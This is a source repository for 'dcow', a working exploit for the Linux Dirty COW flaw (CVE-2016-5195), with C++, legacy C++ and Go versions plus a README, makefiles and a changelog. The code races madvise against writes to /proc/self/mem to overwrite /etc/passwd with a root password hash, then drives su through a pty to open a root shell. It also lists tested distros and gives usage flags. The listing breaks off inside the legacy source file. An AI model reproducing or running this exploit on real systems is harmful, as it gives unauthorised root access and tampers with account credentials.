├── version
├── legacy
├── README.md
├── makefile
└── dcow.cpp
├── makefile
├── .gitignore
├── golang
├── makefile
├── README.md
└── src
│ ├── main
│ └── main.go
│ └── expl
│ └── expl.go
├── CONTRIBUTING.md
├── changelog
├── README.md
└── dcow.cpp
/version:
--------------------------------------------------------------------------------
1 | 0.3.10
2 |
--------------------------------------------------------------------------------
/legacy/README.md:
--------------------------------------------------------------------------------
1 | Legacy Version:
2 | ===============
3 |
4 | This is a alpha version without c++11 feature. It is a raw porting of the c++11 one and must be considered a draft.
5 |
--------------------------------------------------------------------------------
/legacy/makefile:
--------------------------------------------------------------------------------
1 | all: dcow
2 |
3 | dcow: dcow.cpp
4 | g++ -Wall -pedantic -O2 -pthread -o dcow dcow.cpp -lutil
5 |
6 | strip: dcow
7 | strip ./dcow
8 |
9 | clean:
10 | rm -f dcow
11 |
--------------------------------------------------------------------------------
/makefile:
--------------------------------------------------------------------------------
1 | all: dcow
2 |
3 | dcow: dcow.cpp
4 | g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
5 |
6 | strip: dcow
7 | strip ./dcow
8 |
9 | clean:
10 | rm -f dcow
11 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | *AppleDouble*
2 | *swp
3 | *swo
4 | *.o
5 | *dSYM
6 | *log
7 | *key
8 | *gz
9 | *tar
10 | *tmp
11 | *afp
12 | autom4te.cache
13 | config.status
14 | src/.deps/*
15 | include/config.h
16 | libtool
17 | test/*
18 |
--------------------------------------------------------------------------------
/golang/makefile:
--------------------------------------------------------------------------------
1 | all: dcow
2 |
3 | dcow: ./src/main/main.go ./src/expl/expl.go
4 | GOPATH=`pwd` go build -ldflags='-s -w -extldflags "-static"' -o dcow main
5 | run:
6 | GOPATH=`pwd` go run ./src/main/main.go
7 | clean:
8 | @rm -f dcow
9 |
--------------------------------------------------------------------------------
/golang/README.md:
--------------------------------------------------------------------------------
1 | Golang Version:
2 | ===============
3 |
4 | This is a porting of the c++ exploit on Go + Cgo. It permits to create a static executable, without external dependecies, that can be used everywhere without a local compiling. The only limitation is the machine word length and processor architecture (i.e. 64 bits executable won't work on a 32 bits machine and so on).
5 |
--------------------------------------------------------------------------------
/CONTRIBUTING.md:
--------------------------------------------------------------------------------
1 | Please, before opening an issue, do these steps:
2 |
3 | - check the source code repository, to be sure that you are using the last version available
4 | - check the documentation of the documentation or the kernel changelogs to be sure that the exploit is valid for that version;
5 |
6 | After that, being sure that the problem happen using the last version in a vulnerable enviroment, the issue must contains the following information:
7 |
8 | - Version of the exploit (see changelog file), so I can be sure that the problem wasn't solved in the meantime;
9 | - A brief description (in English) of the problem (core dump, freeze, etc);
10 | - Description of the environment ( OS type and version, kernel version );
11 | - Specific information related to the issue, needed to reproduce/debug the issue itself: backtrace from the core dump; compiler errors, system log messages, etc.
12 |
13 | Any issue notification opened without that information will be silently closed.
14 |
15 | Thanks.
16 |
--------------------------------------------------------------------------------
/changelog:
--------------------------------------------------------------------------------
1 | 0.1.0 First release
2 | 0.2.0 Debugging: now is guaranteed that the credentials of root, the current user and sshd user,
3 | are placed the first lines of /etc/passwd. Corrected parameter size error in madvise. Tested on Ununt 14.04 LTS.
4 | 0.2.2 Minor changing: delete heap allocated vars, O2 optimizer. Tested on Mint 17.2.
5 | 0.2.4 Removed redundant fstat, removed depracated getlogin() and replaced with getpwuid() and getuid(),
6 | reduced the timeout to a more realistic value, added the notification "Running..." when the exploit
7 | start. Debugging, wrong condition on timeout check.
8 | 0.2.6 Removed unnecessary code.
9 | 0.2.8 Removed unnecessary code.
10 | 0.3.2 Major improvements: in case of successful exploiting, the kernel flusher threads will be disabled
11 | to avoid kernel cashes on some distros. Now it's possible to open automatically a root shell specifying
12 | the -s parameter:
13 | ./dcow -s
14 | Minor: a -h parameter with the synopsis is present.
15 | 0.3.4 Now if specified -s, the password file will be immediately restored when the root shell appears.
16 | A -n parameter is added to prevent this behaviour. If -n is specified with -s, a backup of the
17 | password file will be created int the home othe the unprivileged user.
18 | 0.3.6 Forced the unalias of cp and rm commands. Debugging -n/no param passwd backup behaviour
19 | for retrocompatibility.
20 | 0.3.8 Added a version of the program that can be compiled using compilers without c++11 support.
21 | Minor cleaning of the original c++11 version.
22 | 0.3.10 Added golang version of this exploit
23 |
--------------------------------------------------------------------------------
/golang/src/main/main.go:
--------------------------------------------------------------------------------
1 | // -----------------------------------------------------------------
2 | // Copyright (C) 2017 Gabriele Bonacini
3 | //
4 | // This program is free software; you can redistribute it and/or modify
5 | // it under the terms of the GNU General Public License as published by
6 | // the Free Software Foundation; either version 3 of the License, or
7 | // (at your option) any later version.
8 | // This program is distributed in the hope that it will be useful,
9 | // but WITHOUT ANY WARRANTY; without even the implied warranty of
10 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
11 | // GNU General Public License for more details.
12 | // You should have received a copy of the GNU General Public License
13 | // along with this program; if not, write to the Free Software Foundation,
14 | // Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
15 | // -----------------------------------------------------------------
16 |
17 | package main
18 |
19 | import "expl"
20 |
21 | import(
22 | "flag"
23 | "os"
24 | )
25 |
26 | func printInfo(){
27 |
28 | os.Stderr.WriteString(
29 | os.Args[0] +
30 | " [-s] [-n] | [-h]\n" +
31 | " -s open directly a shell, if the exploit is successful;\n" +
32 | " -n combined with -s, doesn't restore the passwd file.\n" +
33 | " -h print this synopsis;\n" +
34 | "\n If no param is specified, the program modifies the passwd file and exits.\n" +
35 | " A copy of the passwd file will be create in the current directory as .ssh_bak\n" +
36 | " (unprivileged user), if no parameter or -n is specified.\n")
37 | os.Exit(1)
38 | }
39 |
40 | func main(){
41 |
42 | sFlags := flag.Bool("s", false, "Run root shell")
43 | hFlags := flag.Bool("h", false, "Print the synopsis")
44 | nFlags := flag.Bool("n", false, "Combined with -s, doesn't restore the passwd file")
45 |
46 | flag.Parse()
47 |
48 | if *hFlags { printInfo() }
49 |
50 | if *nFlags && !*sFlags && len(os.Args) != 1{
51 | os.Stderr.WriteString("Invalid parameter: -n requires -s\n")
52 | printInfo()
53 | }
54 |
55 | ex := expl.NewExpl(*nFlags)
56 | go ex.Madviser()
57 | go ex.Writer()
58 | ex.Checker()
59 | ex.Shell(*sFlags, *nFlags)
60 | ex.RestoreTerm()
61 |
62 | var msg string
63 | switch *sFlags{
64 | case true:
65 | msg = "Exit.\n"
66 | default:
67 | msg = "Root password is: " + expl.TXTPWD + "Enjoy! :-)\n"
68 | }
69 |
70 | if ex.Iter != expl.MAXITER {
71 | os.Stderr.WriteString(msg)
72 | os.Exit(0)
73 | } else {
74 | os.Stderr.WriteString("Exploit failed.\n")
75 | os.Exit(1)
76 | }
77 | }
78 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | Description:
2 | ============
3 |
4 | dcow is a possible exploit of the vulnerability CVE-2016-5195.
5 | Running the program as unprivileged user on a vulnerable system, it'll modify the /etc/passwd file, forcing the password "dirtyCowFun" (SHA-512, but could be modified for older standards).
6 | In case of successful execution, doing a "su" with that password, a root shell will be available.
7 | Using the -s option (recomended), a root shell will be automatically opened.
8 | A backup of the original /etc/passwd will be created in the current execution directory as .ssh_bak, if dcow is used with no options or with -n (see example below).
9 |
10 | DISCLAIMER:
11 | ===========
12 |
13 | This code has been posted for information and educational purposes. The intrusion in systems and services without the owner's authorisation is illegal. The misuse of the information and the software in this repo can result in criminal charges brought against the perpetrator of the crime. Any actions and or activities related to the material contained within this Git Repository is solely your responsibility. The author will not be held responsible in the event any criminal charges be brought against any individuals misusing the information or the software in this website to break the law.
14 |
15 | Prerequisites:
16 | ==============
17 |
18 | A CVE-2016-5195 vulnerable system.
19 |
20 | The program was successfully used with:
21 |
22 | - RHEL7 Linux x86_64;
23 | - RHEL4 (4.4.7-16, with "legacy" version)
24 | - Debian 7 ("wheezy");
25 | - Ubuntu 14.04.1 LTS
26 | - Ubuntu 14.04.5 LTS
27 | - Ubuntu 16.04.1 LTS
28 | - Ubuntu 16.10
29 | - Linux Mint 17.2
30 |
31 | and compiled with:
32 |
33 | - clang version 4.0.0;
34 | - gcc version 6.2.0 20161005 (Ubuntu 6.2.0-5ubuntu12)
35 | - gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.1)
36 | - gcc version 4.8.5 20150623 (Red Hat 4.8.5-4) (GCC);
37 | - gcc version 4.8.4 (Ubuntu 4.8.4);
38 | - gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1)
39 | - gcc version 4.7.2 (Debian 4.7.2-5);
40 | - gcc version 4.4.7 (with "legacy" version)
41 |
42 | Exploit DB Reference:
43 | =====================
44 |
45 | EDB-ID: 40847
46 |
47 | https://www.exploit-db.com/exploits/40847/
48 |
49 | Installation:
50 | =============
51 |
52 | - Compile the program:
53 | make
54 |
55 | - Start the program:
56 | ./dcow
57 | or
58 | ./dcow -s # Automatically open a root shell and restore the passwd file.
59 | ./dcow -s -n # Automatically open a root shell but doesn't restore the passwd file.
60 |
61 | - Online help:
62 |
63 | ./dcow -h
64 |
65 | WIKI:
66 | =====
67 |
68 | In the "wiki" section of this page is present a partial list of the vulnerable kernels/distros.
69 |
70 | "Legacy" version:
71 | =================
72 |
73 | In the directory "legacy" is present a raw porting of this program that permits the compilation using pre-c++11 compilers.
74 |
75 | Golang version:
76 | ===============
77 |
78 | A version of this exploit written in Go + CGO language is present in the "golang" directory. It permits the creation of a static executable without external dependencies.
79 |
--------------------------------------------------------------------------------
/golang/src/expl/expl.go:
--------------------------------------------------------------------------------
1 | // -----------------------------------------------------------------
2 | // Copyright (C) 2017 Gabriele Bonacini
3 | //
4 | // This program is free software; you can redistribute it and/or modify
5 | // it under the terms of the GNU General Public License as published by
6 | // the Free Software Foundation; either version 3 of the License, or
7 | // (at your option) any later version.
8 | // This program is distributed in the hope that it will be useful,
9 | // but WITHOUT ANY WARRANTY; without even the implied warranty of
10 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
11 | // GNU General Public License for more details.
12 | // You should have received a copy of the GNU General Public License
13 | // along with this program; if not, write to the Free Software Foundation,
14 | // Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
15 | // -----------------------------------------------------------------
16 |
17 | package expl
18 |
19 | /*
20 | #cgo LDFLAGS: -lutil
21 | #include
22 | #include
23 | #include
24 | #include
25 | #include
26 | #include
27 | #include
28 | #include
29 | #include
30 | #include
31 | #include
32 | #include
33 | #include
34 | #include
35 |
36 | char* cGetUsrName(){
37 | struct passwd* userId = getpwuid(getuid());
38 | return userId->pw_name;
39 | }
40 |
41 | void* map = NULL;
42 | bool run = true;
43 |
44 | void cMadviser(char* pwdfile, int len){
45 | int fd = open(pwdfile, O_RDONLY);
46 | map = mmap(NULL, len, PROT_READ,MAP_PRIVATE, fd, 0);
47 |
48 | while(run){ madvise(map, len, MADV_DONTNEED);}
49 | close(fd);
50 | }
51 |
52 | void cWriter(char* psm, char* pwd, int size){
53 | int fpsm = open(psm, O_RDWR);
54 | while(run){
55 | lseek(fpsm, (off_t)map, SEEK_SET);
56 | (void) write(fpsm, pwd, size);
57 | }
58 | }
59 |
60 | void stopAll(void){ run = false; }
61 |
62 | void exitOnError(char* msg){
63 | perror(msg);
64 | exit(EXIT_FAILURE);
65 | }
66 |
67 | enum SETTINGS{ BUFFSIZE=1024 };
68 | const char* DISABLEWB = "echo 0 > /proc/sys/vm/dirty_writeback_centisecs\n";
69 | const char* EXITCMD = "exit\n";
70 | struct termios termOld,
71 | termNew;
72 | bool rawMode = false;
73 |
74 | void cOpenTern(const char* cpcmd, const char* rmcmd, const char* pwd, bool opShell, bool restPwd){
75 | int master;
76 | pid_t child = forkpty(&master, NULL, NULL, NULL);
77 |
78 | if(child == -1) exitOnError("Error forking pty.");
79 |
80 | if(child == 0){
81 | execlp("su", "su", "-", NULL);
82 | exitOnError("Error on exec.");
83 | }
84 |
85 | char buffv[BUFFSIZE];
86 | memset(buffv, 0, BUFFSIZE);
87 | ssize_t bytes_read = read(master, buffv, BUFFSIZE - 1);
88 | if(bytes_read <= 0) exitOnError("Error reading su prompt.");
89 | fprintf(stderr, "Received su prompt (%s)\n", buffv);
90 |
91 | if(write(master, pwd, strlen(pwd)) <= 0)
92 | exitOnError("Error writing pwd on tty.");
93 |
94 | if(write(master, DISABLEWB, strlen(DISABLEWB)) <= 0)
95 | exitOnError("Error writing cmd on tty.");
96 |
97 | if(!opShell){
98 | if(write(master, EXITCMD, strlen(EXITCMD)) <= 0)
99 | exitOnError("Error writing exit cmd on tty.");
100 | }else{
101 | if(!restPwd){
102 | if(write(master, cpcmd, strlen(cpcmd)) <= 0)
103 | exitOnError("Error writing restore cmd on tty.");
104 | if(write(master, rmcmd, strlen(rmcmd)) <= 0)
105 | exitOnError("Error writing restore cmd (rm) on tty.");
106 | }
107 |
108 | if(tcgetattr(STDIN_FILENO, &termOld) == -1 )
109 | exitOnError("Error getting terminal attributes.");
110 |
111 | termNew = termOld;
112 | termNew.c_lflag &= (unsigned long)(~(ICANON | ECHO));
113 |
114 | if(tcsetattr(STDIN_FILENO, TCSANOW, &termNew) == -1)
115 | exitOnError("Error setting terminal in non-canonical mode.");
116 |
117 | rawMode = true;
118 |
119 | while(true){
120 | fd_set rfds;
121 | FD_ZERO(&rfds);
122 | FD_SET(master, &rfds);
123 | FD_SET(STDIN_FILENO, &rfds);
124 |
125 | if(select(master + 1, &rfds, NULL, NULL, NULL) < 0 )
126 | exitOnError("Error on select tty.");
127 |
128 | if(FD_ISSET(master, &rfds)) {
129 | memset(buffv, 0, BUFFSIZE);
130 | bytes_read = read(master, buffv, BUFFSIZE - 1);
131 | if(bytes_read <= 0) break;
132 | if(write(STDOUT_FILENO, buffv, bytes_read) != bytes_read)
133 | exitOnError("Error writing on stdout.");
134 | }
135 |
136 | if(FD_ISSET(STDIN_FILENO, &rfds)) {
137 | memset(buffv, 0, BUFFSIZE);
138 | bytes_read = read(STDIN_FILENO, buffv, BUFFSIZE - 1);
139 | if(bytes_read <= 0) exitOnError("Error reading from stdin.");
140 | if(write(master, buffv, bytes_read) != bytes_read) break;
141 | }
142 | }
143 | }
144 | }
145 |
146 | void cResetTer(void){ if(rawMode) tcsetattr(STDIN_FILENO, TCSANOW, &termOld); }
147 |
148 | */
149 | import "C"
150 |
151 | import (
152 | "io"
153 | "io/ioutil"
154 | "os"
155 | "bufio"
156 | "strings"
157 | "time"
158 | )
159 |
160 | const (
161 | DEFPWD = "$6$P7xBAooQEZX/ham$9L7U0KJoihNgQakyfOQokDgQWLSTFZGB9LUU7T0W2kH1rtJXTzt9mG4qOoz9Njt.tIklLtLosiaeCBsZm8hND/"
162 | ROOTID = "root:"
163 | SSHDID = "sshd:"
164 | TMPBAKFILE = "/tmp/.ssh_bak"
165 | BAKFILE = "./.ssh_bak"
166 | PSM = "/proc/self/mem"
167 | PWDFILE = "/etc/passwd"
168 | MAXITER = 300
169 | DEFSLTIME = 300000
170 | CPCMD = "\\cp "
171 | RMCMD = "\\rm "
172 | TXTPWD = "dirtyCowFun\n";
173 | )
174 |
175 | func exitOnError(e error) { if e != nil { panic(e) } }
176 |
177 | func Getpwuid() string{ return C.GoString(C.cGetUsrName()) }
178 |
179 | func ParsePwd(id *string, restPwd bool) (string, int) {
180 | etcPasswd, err := os.Open(PWDFILE)
181 | exitOnError(err)
182 | var bakFile string
183 | if restPwd {
184 | bakFile = BAKFILE
185 | } else {
186 | bakFile = TMPBAKFILE
187 | }
188 | backup, err := os.Create(bakFile)
189 | exitOnError(err)
190 | rstream := bufio.NewReader(etcPasswd)
191 |
192 | var (
193 | header string
194 | footer string
195 | pwdSize int
196 | )
197 |
198 | for line, err := rstream.ReadString('\n'); err != io.EOF ; line, err = rstream.ReadString('\n') {
199 | backup.WriteString(line)
200 | pwdSize = pwdSize + len(line)
201 | if strings.Index(line, ROOTID) == 0 {
202 | header = header + ROOTID + DEFPWD + line[len(ROOTID) + 1:]
203 | } else if strings.Index(line, *id) == 0 || strings.Index(line, SSHDID) == 0 {
204 | header = header + line
205 | } else {
206 | footer = footer + line
207 | }
208 | }
209 |
210 | defer etcPasswd.Close()
211 | defer backup.Close()
212 | return header + footer, pwdSize
213 | }
214 |
215 | type Expl struct {
216 | Id, NewPwd string
217 | PwdFSize, Iter int
218 | }
219 |
220 | func NewExpl(restPwd bool) *Expl {
221 | var err error
222 | ex := new(Expl)
223 | ex.Id = Getpwuid() + ":"
224 | ex.NewPwd, ex.PwdFSize = ParsePwd(&ex.Id, restPwd)
225 | exitOnError(err)
226 |
227 | return ex
228 | }
229 |
230 | func (ex Expl) Madviser(){ C.cMadviser(C.CString(PWDFILE), C.int(ex.PwdFSize)) }
231 |
232 | func (ex Expl) Writer(){ C.cWriter(C.CString(PSM), C.CString(ex.NewPwd), C.int(ex.PwdFSize)) }
233 |
234 | func (ex Expl) Checker(){
235 | for ex.Iter <= MAXITER {
236 | buff, err := ioutil.ReadFile(PWDFILE)
237 | exitOnError(err)
238 | if strings.Contains(string(buff), DEFPWD) {
239 | break
240 | }
241 | ex.Iter ++;
242 | time.Sleep(DEFSLTIME);
243 | }
244 | C.stopAll()
245 | }
246 |
247 | func (ex Expl) Shell( opShell, restPwd bool){
248 | C.cOpenTern(C.CString(CPCMD + TMPBAKFILE + " " + PWDFILE + "\n"),
249 | C.CString(RMCMD + TMPBAKFILE + "\n"),
250 | C.CString(TXTPWD),
251 | C.bool(opShell),
252 | C.bool(restPwd) )
253 | }
254 |
255 | func (ex Expl) RestoreTerm(){ C.cResetTer() }
256 |
--------------------------------------------------------------------------------
/dcow.cpp:
--------------------------------------------------------------------------------
1 | // -----------------------------------------------------------------
2 | // Copyright (C) 2016 Gabriele Bonacini
3 | //
4 | // This program is free software; you can redistribute it and/or modify
5 | // it under the terms of the GNU General Public License as published by
6 | // the Free Software Foundation; either version 3 of the License, or
7 | // (at your option) any later version.
8 | // This program is distributed in the hope that it will be useful,
9 | // but WITHOUT ANY WARRANTY; without even the implied warranty of
10 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
11 | // GNU General Public License for more details.
12 | // You should have received a copy of the GNU General Public License
13 | // along with this program; if not, write to the Free Software Foundation,
14 | // Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
15 | // -----------------------------------------------------------------
16 |
17 | #include
18 | #include
19 | #include
20 | #include
21 | #include
22 | #include
23 | #include
24 | #include
25 | #include
26 | #include
27 | #include
28 | #include
29 | #include
30 | #include
31 | #include
32 |
33 | #define BUFFSIZE 1024
34 | #define DEFSLTIME 300000
35 | #define PWDFILE "/etc/passwd"
36 | #define BAKFILE "./.ssh_bak"
37 | #define TMPBAKFILE "/tmp/.ssh_bak"
38 | #define PSM "/proc/self/mem"
39 | #define ROOTID "root:"
40 | #define SSHDID "sshd:"
41 | #define MAXITER 300
42 | #define DEFPWD "$6$P7xBAooQEZX/ham$9L7U0KJoihNgQakyfOQokDgQWLSTFZGB9LUU7T0W2kH1rtJXTzt9mG4qOoz9Njt.tIklLtLosiaeCBsZm8hND/"
43 | #define TXTPWD "dirtyCowFun\n"
44 | #define DISABLEWB "echo 0 > /proc/sys/vm/dirty_writeback_centisecs\n"
45 | #define EXITCMD "exit\n"
46 | #define CPCMD "\\cp "
47 | #define RMCMD "\\rm "
48 |
49 | using namespace std;
50 |
51 | class Dcow{
52 | private:
53 | bool run, rawMode, opShell, restPwd;
54 | void *map;
55 | int fd, iter, master, wstat;
56 | string buffer, etcPwd, etcPwdBak,
57 | root, user, pwd, sshd;
58 | thread *writerThr, *madviseThr, *checkerThr;
59 | ifstream *extPwd;
60 | ofstream *extPwdBak;
61 | struct passwd *userId;
62 | pid_t child;
63 | char buffv[BUFFSIZE];
64 | fd_set rfds;
65 | struct termios termOld, termNew;
66 | ssize_t ign;
67 |
68 | void exitOnError(string msg);
69 | public:
70 | Dcow(bool opSh, bool rstPwd);
71 | ~Dcow(void);
72 | int expl(void);
73 | };
74 |
75 | Dcow::Dcow(bool opSh, bool rstPwd) : run(true), rawMode(false), opShell(opSh), restPwd(rstPwd),
76 | iter(0), wstat(0), root(ROOTID), pwd(DEFPWD), sshd(SSHDID), writerThr(nullptr),
77 | madviseThr(nullptr), checkerThr(nullptr), extPwd(nullptr), extPwdBak(nullptr),
78 | child(0){
79 | userId = getpwuid(getuid());
80 | user.append(userId->pw_name).append(":");
81 | extPwd = new ifstream(PWDFILE);
82 | while (getline(*extPwd, buffer)){
83 | buffer.append("\n");
84 | etcPwdBak.append(buffer);
85 | if(buffer.find(root) == 0){
86 | etcPwd.insert(0, root).insert(root.size(), pwd);
87 | etcPwd.insert(etcPwd.begin() + root.size() + pwd.size(),
88 | buffer.begin() + buffer.find(":", root.size()), buffer.end());
89 | }else if(buffer.find(user) == 0 || buffer.find(sshd) == 0 ){
90 | etcPwd.insert(0, buffer);
91 | }else{
92 | etcPwd.append(buffer);
93 | }
94 | }
95 | extPwdBak = new ofstream(restPwd ? TMPBAKFILE : BAKFILE);
96 | extPwdBak->write(etcPwdBak.c_str(), etcPwdBak.size());
97 | extPwdBak->close();
98 | fd = open(PWDFILE,O_RDONLY);
99 | map = mmap(nullptr, etcPwdBak.size(), PROT_READ,MAP_PRIVATE, fd, 0);
100 | }
101 |
102 | Dcow::~Dcow(void){
103 | extPwd->close();
104 | close(fd);
105 | delete extPwd; delete extPwdBak; delete madviseThr; delete writerThr; delete checkerThr;
106 | if(rawMode) tcsetattr(STDIN_FILENO, TCSANOW, &termOld);
107 | if(child != 0) wait(&wstat);
108 | }
109 |
110 | void Dcow::exitOnError(string msg){
111 | cerr << msg << endl;
112 | throw new exception();
113 | }
114 |
115 | int Dcow::expl(void){
116 | madviseThr = new thread([&](){ while(run){ madvise(map, etcPwdBak.size(), MADV_DONTNEED);} });
117 | writerThr = new thread([&](){ int fpsm = open(PSM,O_RDWR);
118 | while(run){ lseek(fpsm, reinterpret_cast(map), SEEK_SET);
119 | ign = write(fpsm, etcPwd.c_str(), etcPwdBak.size()); }
120 | });
121 | checkerThr = new thread([&](){ while(iter <= MAXITER){
122 | extPwd->clear(); extPwd->seekg(0, ios::beg);
123 | buffer.assign(istreambuf_iterator(*extPwd),
124 | istreambuf_iterator());
125 | if(buffer.find(pwd) != string::npos &&
126 | buffer.size() >= etcPwdBak.size()){
127 | run = false; break;
128 | }
129 | iter ++; usleep(DEFSLTIME);
130 | }
131 | run = false;
132 | });
133 |
134 | cerr << "Running ..." << endl;
135 | madviseThr->join();
136 | writerThr->join();
137 | checkerThr->join();
138 |
139 | if(iter <= MAXITER){
140 | child = forkpty(&master, nullptr, nullptr, nullptr);
141 |
142 | if(child == -1) exitOnError("Error forking pty.");
143 |
144 | if(child == 0){
145 | execlp("su", "su", "-", nullptr);
146 | exitOnError("Error on exec.");
147 | }
148 |
149 | if(opShell) cerr << "Password overridden to: " << TXTPWD << endl;
150 | memset(buffv, 0, BUFFSIZE);
151 | ssize_t bytes_read = read(master, buffv, BUFFSIZE - 1);
152 | if(bytes_read <= 0) exitOnError("Error reading su prompt.");
153 | cerr << "Received su prompt (" << buffv << ")" << endl;
154 |
155 | if(write(master, TXTPWD, strlen(TXTPWD)) <= 0)
156 | exitOnError("Error writing pwd on tty.");
157 |
158 | if(write(master, DISABLEWB, strlen(DISABLEWB)) <= 0)
159 | exitOnError("Error writing cmd on tty.");
160 |
161 | if(!opShell){
162 | if(write(master, EXITCMD, strlen(EXITCMD)) <= 0)
163 | exitOnError("Error writing exit cmd on tty.");
164 | }else{
165 | if(restPwd){
166 | string restoreCmd = string(CPCMD).append(TMPBAKFILE).append(" ").append(PWDFILE).append("\n");
167 | if(write(master, restoreCmd.c_str(), restoreCmd.size()) <= 0)
168 | exitOnError("Error writing restore cmd on tty.");
169 | restoreCmd = string(RMCMD).append(TMPBAKFILE).append("\n");
170 | if(write(master, restoreCmd.c_str(), restoreCmd.size()) <= 0)
171 | exitOnError("Error writing restore cmd (rm) on tty.");
172 | }
173 |
174 | if(tcgetattr(STDIN_FILENO, &termOld) == -1 )
175 | exitOnError("Error getting terminal attributes.");
176 |
177 | termNew = termOld;
178 | termNew.c_lflag &= static_cast(~(ICANON | ECHO));
179 |
180 | if(tcsetattr(STDIN_FILENO, TCSANOW, &termNew) == -1)
181 | exitOnError("Error setting terminal in non-canonical mode.");
182 | rawMode = true;
183 |
184 | while(true){
185 | FD_ZERO(&rfds);
186 | FD_SET(master, &rfds);
187 | FD_SET(STDIN_FILENO, &rfds);
188 |
189 | if(select(master + 1, &rfds, nullptr, nullptr, nullptr) < 0 )
190 | exitOnError("Error on select tty.");
191 |
192 | if(FD_ISSET(master, &rfds)) {
193 | memset(buffv, 0, BUFFSIZE);
194 | bytes_read = read(master, buffv, BUFFSIZE - 1);
195 | if(bytes_read <= 0) break;
196 | if(write(STDOUT_FILENO, buffv, bytes_read) != bytes_read)
197 | exitOnError("Error writing on stdout.");
198 | }
199 |
200 | if(FD_ISSET(STDIN_FILENO, &rfds)) {
201 | memset(buffv, 0, BUFFSIZE);
202 | bytes_read = read(STDIN_FILENO, buffv, BUFFSIZE - 1);
203 | if(bytes_read <= 0) exitOnError("Error reading from stdin.");
204 | if(write(master, buffv, bytes_read) != bytes_read) break;
205 | }
206 | }
207 | }
208 | }
209 |
210 | return [](int ret, bool shell){
211 | string msg = shell ? "Exit.\n" : string("Root password is: ") + TXTPWD + "Enjoy! :-)\n";
212 | if(ret <= MAXITER){cerr << msg; return 0;}
213 | else{cerr << "Exploit failed.\n"; return 1;}
214 | }(iter, opShell);
215 | }
216 |
217 | void printInfo(char* cmd){
218 | cerr << cmd << " [-s] [-n] | [-h]\n" << endl;
219 | cerr << " -s open directly a shell, if the exploit is successful;" << endl;
220 | cerr << " -n combined with -s, doesn't restore the passwd file." << endl;
221 | cerr << " -h print this synopsis;" << endl;
222 | cerr << "\n If no param is specified, the program modifies the passwd file and exits." << endl;
223 | cerr << " A copy of the passwd file will be create in the current directory as .ssh_bak" << endl;
224 | cerr << " (unprivileged user), if no parameter or -n is specified.\n" << endl;
225 | exit(1);
226 | }
227 |
228 | int main(int argc, char** argv){
229 | const char flags[] = "shn";
230 | int c;
231 | bool opShell = false,
232 | restPwd = argc != 1 ? true : false;
233 |
234 | opterr = 0;
235 | while ((c = getopt(argc, argv, flags)) != -1){
236 | switch (c){
237 | case 's':
238 | opShell = true;
239 | break;
240 | case 'n':
241 | restPwd = false;
242 | break;
243 | case 'h':
244 | printInfo(argv[0]);
245 | break;
246 | default:
247 | cerr << "Invalid parameter." << endl << endl;
248 | printInfo(argv[0]);
249 | }
250 | }
251 |
252 | if(!restPwd && !opShell && argc != 1){
253 | cerr << "Invalid parameter: -n requires -s" << endl << endl;
254 | printInfo(argv[0]);
255 | }
256 |
257 | Dcow dcow(opShell, restPwd);
258 | return dcow.expl();
259 | }
260 |
--------------------------------------------------------------------------------
/legacy/dcow.cpp:
--------------------------------------------------------------------------------
1 | // -----------------------------------------------------------------
2 | // Copyright (C) 2017 Gabriele Bonacini
3 | //
4 | // This program is free software; you can redistribute it and/or modify
5 | // it under the terms of the GNU General Public License as published by
6 | // the Free Software Foundation; either version 3 of the License, or
7 | // (at your option) any later version.
8 | // This program is distributed in the hope that it will be useful,
9 | // but WITHOUT ANY WARRANTY; without even the implied warranty of
10 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
11 | // GNU General Public License for more details.
12 | // You should have received a copy of the GNU General Public License
13 | // along with this program; if not, write to the Free Software Foundation,
14 | // Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
15 | // -----------------------------------------------------------------
16 |
17 | #include
18 | #include
19 | #include
20 | #include
21 | #include
22 | #include
23 | #include
24 | #include
25 | #include
26 | #include
27 | #include
28 | #include
29 | #include
30 | #include
31 | #include
32 |
33 | #define BUFFSIZE 1024
34 | #define DEFSLTIME 300000
35 | #define PWDFILE "/etc/passwd"
36 | #define BAKFILE "./.ssh_bak"
37 | #define TMPBAKFILE "/tmp/.ssh_bak"
38 | #define PSM "/proc/self/mem"
39 | #define ROOTID "root:"
40 | #define SSHDID "sshd:"
41 | #define MAXITER 300
42 | #define DEFPWD "$6$P7xBAooQEZX/ham$9L7U0KJoihNgQakyfOQokDgQWLSTFZGB9LUU7T0W2kH1rtJXTzt9mG4qOoz9Njt.tIklLtLosiaeCBsZm8hND/"
43 | #define TXTPWD "dirtyCowFun\n"
44 | #define DISABLEWB "echo 0 > /proc/sys/vm/dirty_writeback_centisecs\n"
45 | #define EXITCMD "exit\n"
46 | #define CPCMD "\\cp "
47 | #define RMCMD "\\rm "
48 |
49 | using namespace std;
50 |
51 | class Dcow{
52 | private:
53 | bool rawMode, opShell, restPwd;
54 | int fd, master, wstat;
55 | string root, user, sshd;
56 | pthread_t writerThr, madviseThr, checkerThr;
57 | ofstream *extPwdBak;
58 | struct passwd *userId;
59 | pid_t child;
60 | char buffv[BUFFSIZE];
61 | fd_set rfds;
62 | struct termios termOld, termNew;
63 |
64 | int result(int ret, bool shell);
65 | void exitOnError(string msg);
66 | public:
67 | int iter;
68 | ssize_t ign;
69 | bool run;
70 | void *map;
71 | ifstream *extPwd;
72 | string etcPwd, etcPwdBak, buffer, pwd;
73 | Dcow(bool opSh, bool rstPwd);
74 | ~Dcow(void);
75 | int expl(void);
76 | };
77 |
78 | Dcow::Dcow(bool opSh, bool rstPwd) : rawMode(false), opShell(opSh), restPwd(rstPwd),
79 | wstat(0), root(ROOTID), sshd(SSHDID), extPwdBak(NULL),
80 | child(0), iter(0), run(true), extPwd(NULL),
81 | pwd(DEFPWD) {
